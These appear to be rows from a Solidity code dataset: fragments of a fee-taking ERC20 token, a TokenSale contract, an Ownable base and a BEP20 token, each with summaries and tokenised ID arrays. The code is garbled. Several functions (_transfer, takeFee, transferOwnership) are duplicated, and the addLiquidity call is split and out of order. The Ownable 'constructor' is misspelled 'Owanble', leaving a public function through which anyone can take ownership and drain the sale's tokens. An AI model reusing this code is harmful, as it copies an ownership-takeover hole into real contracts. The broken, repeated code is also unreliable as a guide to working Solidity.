uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
if (overMinimumTokenBalance && !inSwapAndLiquify && !checkMarketPair[sender] && swapAndLiquifyEnabled)
{
if(swapAndLiquifyByLimitOnly && enableTrading)
contractTokenBalance = minimumTokensBeforeSwap;
swapAndLiquify(amount < contractTokenBalance? amount:contractTokenBalance);
}
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 finalAmount = (checkExcludedFromFees[sender] || checkExcludedFromFees[recipient]) ?
amount : takeFee(sender, recipient, amount);
if(!enableTrading) finalAmount = takeFee(sender, recipient, amount);
if(checkWalletLimit && !checkWalletLimitExcept[recipient])
require(balanceOf(recipient).add(finalAmount) <= _walletMax);
_balances[recipient] = _balances[recipient].add(finalAmount);
emit Transfer(sender, recipient, finalAmount);
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(inSwapAndLiquify)
{
_basicTransfer(sender, recipient, amount);
}
else
{
if(!checkTxLimitExcept[sender] && !checkTxLimitExcept[recipient]) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
if (overMinimumTokenBalance && !inSwapAndLiquify && !checkMarketPair[sender] && swapAndLiquifyEnabled)
{
if(swapAndLiquifyByLimitOnly && enableTrading)
contractTokenBalance = minimumTokensBeforeSwap;
swapAndLiquify(amount < contractTokenBalance? amount:contractTokenBalance);
}
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 finalAmount = (checkExcludedFromFees[sender] || checkExcludedFromFees[recipient]) ?
amount : takeFee(sender, recipient, amount);
if(!enableTrading) finalAmount = takeFee(sender, recipient, amount);
if(checkWalletLimit && !checkWalletLimitExcept[recipient])
require(balanceOf(recipient).add(finalAmount) <= _walletMax);
_balances[recipient] = _balances[recipient].add(finalAmount);
emit Transfer(sender, recipient, finalAmount);
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(inSwapAndLiquify)
{
_basicTransfer(sender, recipient, amount);
}
else
{
if(!checkTxLimitExcept[sender] && !checkTxLimitExcept[recipient]) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
if (overMinimumTokenBalance && !inSwapAndLiquify && !checkMarketPair[sender] && swapAndLiquifyEnabled)
{
if(swapAndLiquifyByLimitOnly && enableTrading)
contractTokenBalance = minimumTokensBeforeSwap;
swapAndLiquify(amount < contractTokenBalance? amount:contractTokenBalance);
}
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 finalAmount = (checkExcludedFromFees[sender] || checkExcludedFromFees[recipient]) ?
amount : takeFee(sender, recipient, amount);
if(!enableTrading) finalAmount = takeFee(sender, recipient, amount);
if(checkWalletLimit && !checkWalletLimitExcept[recipient])
require(balanceOf(recipient).add(finalAmount) <= _walletMax);
_balances[recipient] = _balances[recipient].add(finalAmount);
emit Transfer(sender, recipient, finalAmount);
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(inSwapAndLiquify)
{
_basicTransfer(sender, recipient, amount);
}
else
{
if(!checkTxLimitExcept[sender] && !checkTxLimitExcept[recipient]) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
if (overMinimumTokenBalance && !inSwapAndLiquify && !checkMarketPair[sender] && swapAndLiquifyEnabled)
{
if(swapAndLiquifyByLimitOnly && enableTrading)
contractTokenBalance = minimumTokensBeforeSwap;
swapAndLiquify(amount < contractTokenBalance? amount:contractTokenBalance);
}
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 finalAmount = (checkExcludedFromFees[sender] || checkExcludedFromFees[recipient]) ?
amount : takeFee(sender, recipient, amount);
if(!enableTrading) finalAmount = takeFee(sender, recipient, amount);
if(checkWalletLimit && !checkWalletLimitExcept[recipient])
require(balanceOf(recipient).add(finalAmount) <= _walletMax);
_balances[recipient] = _balances[recipient].add(finalAmount);
emit Transfer(sender, recipient, finalAmount);
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(inSwapAndLiquify)
{
_basicTransfer(sender, recipient, amount);
}
else
{
if(!checkTxLimitExcept[sender] && !checkTxLimitExcept[recipient]) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
if (overMinimumTokenBalance && !inSwapAndLiquify && !checkMarketPair[sender] && swapAndLiquifyEnabled)
{
if(swapAndLiquifyByLimitOnly && enableTrading)
contractTokenBalance = minimumTokensBeforeSwap;
swapAndLiquify(amount < contractTokenBalance? amount:contractTokenBalance);
}
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 finalAmount = (checkExcludedFromFees[sender] || checkExcludedFromFees[recipient]) ?
amount : takeFee(sender, recipient, amount);
if(!enableTrading) finalAmount = takeFee(sender, recipient, amount);
if(checkWalletLimit && !checkWalletLimitExcept[recipient])
require(balanceOf(recipient).add(finalAmount) <= _walletMax);
_balances[recipient] = _balances[recipient].add(finalAmount);
emit Transfer(sender, recipient, finalAmount);
}
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
if(!enableTrading) return;
uint256 ethBalanceBeforeSwap = address(this).balance;
uint256 tokensForLP = tAmount.mul(_liquidityShares).div(_totalDistributionShares).div(2);
uint256 tokensForSwap = tAmount.sub(tokensForLP);
swapTokensForEth(tokensForSwap);
uint256 amountReceived = address(this).balance.sub(ethBalanceBeforeSwap);
uint256 totalETHFee = _totalDistributionShares.sub(_liquidityShares.div(2));
uint256 amountETHLiquidity = amountReceived.mul(_liquidityShares).div(totalETHFee).div(2);
uint256 amountETHBurn = amountReceived.mul(_burnShares).div(totalETHFee);
uint256 amountETHDev = amountReceived.sub(amountETHLiquidity).sub(amountETHBurn);
if(amountETHDev > 0)
transferToAddressETH(devMarketingWallet, amountETHDev);
if(amountETHLiquidity > 0 && tokensForLP > 0)
addLiquidity(tokensForLP, amountETHLiquidity);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
path,
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
address(this),
tokenAmount,
owner(),
block.timestamp
);
}
uniswapV2Router.addLiquidityETH{value: ethAmount}(
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 feeAmount = 0;
if(checkMarketPair[sender]) {
feeAmount = amount.mul(_totalTaxIfBuying).div(100);
}
else if(checkMarketPair[recipient]) {
feeAmount = amount.mul(_totalTaxIfSelling).div(100);
}
if(feeAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
}
return amount.sub(feeAmount);
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 feeAmount = 0;
if(checkMarketPair[sender]) {
feeAmount = amount.mul(_totalTaxIfBuying).div(100);
}
else if(checkMarketPair[recipient]) {
feeAmount = amount.mul(_totalTaxIfSelling).div(100);
}
if(feeAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
}
return amount.sub(feeAmount);
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 feeAmount = 0;
if(checkMarketPair[sender]) {
feeAmount = amount.mul(_totalTaxIfBuying).div(100);
}
else if(checkMarketPair[recipient]) {
feeAmount = amount.mul(_totalTaxIfSelling).div(100);
}
if(feeAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
}
return amount.sub(feeAmount);
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 feeAmount = 0;
if(checkMarketPair[sender]) {
feeAmount = amount.mul(_totalTaxIfBuying).div(100);
}
else if(checkMarketPair[recipient]) {
feeAmount = amount.mul(_totalTaxIfSelling).div(100);
}
if(feeAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
}
return amount.sub(feeAmount);
}
function getStats() public view returns (uint256, uint256, uint256) {
return (totalBurned, totalBurnRewards, address(this).balance);
}
} | 15,553,095 | [
1,
38,
321,
11486,
5782,
281,
342,
4238,
16936,
342,
6424,
3039,
431,
351,
375,
7990,
3425,
1283,
342,
4238,
6424,
1147,
362,
2102,
12738,
471,
4501,
372,
1164,
2943,
261,
1884,
5320,
281,
13,
2641,
473,
10429,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
605,
321,
362,
2102,
353,
1772,
16,
467,
654,
39,
3462,
16,
14223,
6914,
288,
203,
377,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
5267,
364,
1758,
31,
203,
203,
203,
565,
2254,
5034,
1071,
2078,
38,
321,
329,
273,
374,
31,
203,
565,
2254,
5034,
1071,
2078,
38,
321,
17631,
14727,
273,
374,
31,
203,
203,
377,
203,
565,
533,
3238,
389,
529,
273,
315,
38,
321,
362,
2102,
14432,
203,
565,
533,
3238,
389,
7175,
273,
315,
38,
8521,
14432,
203,
565,
2254,
28,
3238,
389,
31734,
273,
6549,
31,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
389,
70,
26488,
31,
203,
565,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
2254,
5034,
3719,
3238,
389,
5965,
6872,
31,
203,
203,
565,
1758,
8843,
429,
3238,
4461,
3882,
21747,
16936,
31,
203,
565,
1758,
1071,
11732,
8363,
1887,
273,
374,
92,
12648,
12648,
12648,
12648,
2787,
72,
41,
69,
40,
31,
203,
203,
565,
2254,
5034,
1071,
389,
70,
9835,
48,
18988,
24237,
2954,
281,
273,
1728,
31,
203,
565,
2254,
5034,
1071,
389,
70,
9835,
8870,
2954,
281,
273,
1381,
31,
203,
565,
2254,
5034,
1071,
389,
70,
9835,
38,
321,
2954,
281,
273,
1728,
31,
203,
203,
565,
2254,
5034,
1071,
389,
87,
1165,
48,
18988,
24237,
2954,
281,
273,
1728,
31,
203,
565,
2254,
5034,
1071,
389,
87,
1165,
8870,
2954,
281,
273,
1381,
31,
203,
565,
2254,
5034,
1071,
389,
87,
1165,
38,
321,
2954,
281,
273,
1728,
31,
203,
2
] |
pragma solidity ^0.4.21;
contract EIP20Interface {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed burner, uint256 value);
}
/**
* Math operations with safety checks
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public;
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public;
function approve(address spender, uint256 value) public;
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*
* Ownable
*
* Base contract with an owner.
* Provides onlyOwner modifier, which prevents function from running if it is
* called by anyone other than the owner.
*/
contract Ownable {
address public owner;
function Owanble() public{
owner = msg.sender;
}
// Modifier onlyOwner prevents function from running
// if it is called by anyone other than the owner
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
// Function transferOwnership allows owner to change ownership.
// Before the appying changes it checks if the owner
// called this function and if the address is not 0x0.
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/*
* Haltable
*
* Abstract contract that allows children to implement an
* emergency stop mechanism. Differs from Pausable by causing a throw when in halt mode.
*
*
* Originally envisioned in FirstBlood ICO contract.
*/
contract Haltable is Ownable {
bool public halted = false;
modifier stopInEmergency {
require(!halted);
_;
}
modifier onlyInEmergency {
require(halted);
_;
}
// called by the owner on emergency, triggers stopped state
function halt() external onlyOwner {
halted = true;
}
// called by the owner on end of emergency, returns to normal state
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract TokenSale is Haltable {
using SafeMath for uint;
string public name = "TokenSale Contract";
// Constants
EIP20Interface public token;
address public beneficiary;
address public reserve;
uint public price = 0; // in wei
// Counters
uint public tokensSoldTotal = 0; // in wei
uint public weiRaisedTotal = 0; // in wei
uint public investorCount = 0;
event NewContribution(
address indexed holder,
uint256 tokenAmount,
uint256 etherAmount);
function TokenSale(
) public {
// Grant owner rights to deployer of a contract
owner = msg.sender;
// Set token address and initialize constructor
token = EIP20Interface(address(0x2F7823AaF1ad1dF0D5716E8F18e1764579F4ABe6));
// Set beneficiary address to receive ETH
beneficiary = address(0xf2b9DA535e8B8eF8aab29956823df7237f1863A3);
// Set reserve address to receive ETH
reserve = address(0x966c0FD16a4f4292E6E0372e04fbB5c7013AD02e);
// Set price of 1 token
price = 0.00379 ether;
}
function changeBeneficiary(address _beneficiary) public onlyOwner stopInEmergency {
beneficiary = _beneficiary;
}
function changeReserve(address _reserve) public onlyOwner stopInEmergency {
reserve = _reserve;
}
function changePrice(uint _price) public onlyOwner stopInEmergency {
price = _price;
}
function () public payable stopInEmergency {
// require min limit of contribution
require(msg.value >= price);
// calculate token amount
uint tokens = msg.value / price;
// throw if you trying to buy over the token exists
require(token.balanceOf(this) >= tokens);
// recalculate counters
tokensSoldTotal = tokensSoldTotal.add(tokens);
if (token.balanceOf(msg.sender) == 0) investorCount++;
weiRaisedTotal = weiRaisedTotal.add(msg.value);
// transfer bought tokens to the contributor
token.transfer(msg.sender, tokens);
// 100% / 10 = 10%
uint reservePie = msg.value.div(10);
// 100% - 10% = 90%
uint beneficiaryPie = msg.value.sub(reservePie);
// transfer funds to the reserve address
reserve.transfer(reservePie);
// transfer funds to the beneficiary address
beneficiary.transfer(beneficiaryPie);
emit NewContribution(msg.sender, tokens, msg.value);
}
// Withdraw any accidently sent to the contract ERC20 tokens.
// Can be performed only by the owner.
function withdrawERC20Token(address _token) public onlyOwner stopInEmergency {
ERC20 foreignToken = ERC20(_token);
foreignToken.transfer(msg.sender, foreignToken.balanceOf(this));
}
// Withdraw any accidently sent to the contract EIP20 tokens.
// Can be performed only by the owner.
function withdrawEIP20Token(address _token) public onlyOwner stopInEmergency {
EIP20Interface foreignToken = EIP20Interface(_token);
foreignToken.transfer(msg.sender, foreignToken.balanceOf(this));
}
// Withdraw all not sold tokens.
// Can be performed only by the owner.
function withdrawToken() public onlyOwner stopInEmergency {
token.transfer(msg.sender, token.balanceOf(this));
}
// Get the contract token balance
function tokensRemaining() public constant returns (uint256) {
return token.balanceOf(this);
}
} | Ownable Base contract with an owner. Provides onlyOwner modifier, which prevents function from running if it is called by anyone other than the owner./ | contract Ownable {
address public owner;
function Owanble() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
| 251,063 | [
1,
5460,
429,
3360,
6835,
598,
392,
3410,
18,
28805,
1338,
5541,
9606,
16,
1492,
17793,
445,
628,
3549,
309,
518,
353,
2566,
635,
1281,
476,
1308,
2353,
326,
3410,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
14223,
6914,
288,
203,
225,
1758,
1071,
3410,
31,
203,
203,
225,
445,
14223,
304,
7119,
1435,
1071,
95,
203,
565,
3410,
273,
1234,
18,
15330,
31,
203,
225,
289,
203,
203,
203,
225,
9606,
1338,
5541,
1435,
288,
203,
565,
2583,
12,
3576,
18,
15330,
422,
3410,
1769,
203,
565,
389,
31,
203,
225,
289,
203,
203,
203,
225,
445,
7412,
5460,
12565,
12,
2867,
394,
5541,
13,
1071,
1338,
5541,
288,
203,
565,
309,
261,
2704,
5541,
480,
1758,
12,
20,
3719,
288,
203,
1377,
3410,
273,
394,
5541,
31,
203,
565,
289,
203,
225,
289,
203,
203,
225,
445,
7412,
5460,
12565,
12,
2867,
394,
5541,
13,
1071,
1338,
5541,
288,
203,
565,
309,
261,
2704,
5541,
480,
1758,
12,
20,
3719,
288,
203,
1377,
3410,
273,
394,
5541,
31,
203,
565,
289,
203,
225,
289,
203,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/3/0x18d9B6ba7588E8b15376039fDb192f3C6D150622/sources/CryptoSOS.sol | After 9 moves the game ends
| gameTurns++; | 5,076,120 | [
1,
4436,
2468,
13934,
326,
7920,
3930,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
7920,
31873,
9904,
31,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./lib/BEP20Capped.sol";
import "./lib/BEP20Mintable.sol";
import "./lib/BEP20Burnable.sol";
import "../../service/ServicePayer.sol";
/**
* @title CommonBEP20
* @dev Implementation of the CommonBEP20
*/
contract CommonBEP20 is BEP20Capped, BEP20Mintable, BEP20Burnable, ServicePayer {
constructor (
string memory name,
string memory symbol,
uint8 decimals,
uint256 cap,
uint256 initialBalance,
address payable feeReceiver
)
BEP20(name, symbol)
BEP20Capped(cap)
ServicePayer(feeReceiver, "CommonBEP20")
payable
{
_setupDecimals(decimals);
_mint(_msgSender(), initialBalance);
}
/**
* @dev Function to mint tokens.
*
* NOTE: restricting access to owner only. See {BEP20Mintable-mint}.
*
* @param account The address that will receive the minted tokens
* @param amount The amount of tokens to mint
*/
function _mint(address account, uint256 amount) internal override(BEP20, BEP20Capped) onlyOwner {
super._mint(account, amount);
}
/**
* @dev Function to stop minting new tokens.
*
* NOTE: restricting access to owner only. See {BEP20Mintable-finishMinting}.
*/
function _finishMinting() internal override onlyOwner {
super._finishMinting();
}
}
| * @title CommonBEP20 @dev Implementation of the CommonBEP20/ | contract CommonBEP20 is BEP20Capped, BEP20Mintable, BEP20Burnable, ServicePayer {
constructor (
string memory name,
string memory symbol,
uint8 decimals,
uint256 cap,
uint256 initialBalance,
address payable feeReceiver
)
BEP20(name, symbol)
BEP20Capped(cap)
ServicePayer(feeReceiver, "CommonBEP20")
payable
{
_setupDecimals(decimals);
_mint(_msgSender(), initialBalance);
}
function _mint(address account, uint256 amount) internal override(BEP20, BEP20Capped) onlyOwner {
super._mint(account, amount);
}
function _finishMinting() internal override onlyOwner {
super._finishMinting();
}
}
| 5,463,952 | [
1,
6517,
5948,
52,
3462,
225,
25379,
434,
326,
5658,
5948,
52,
3462,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
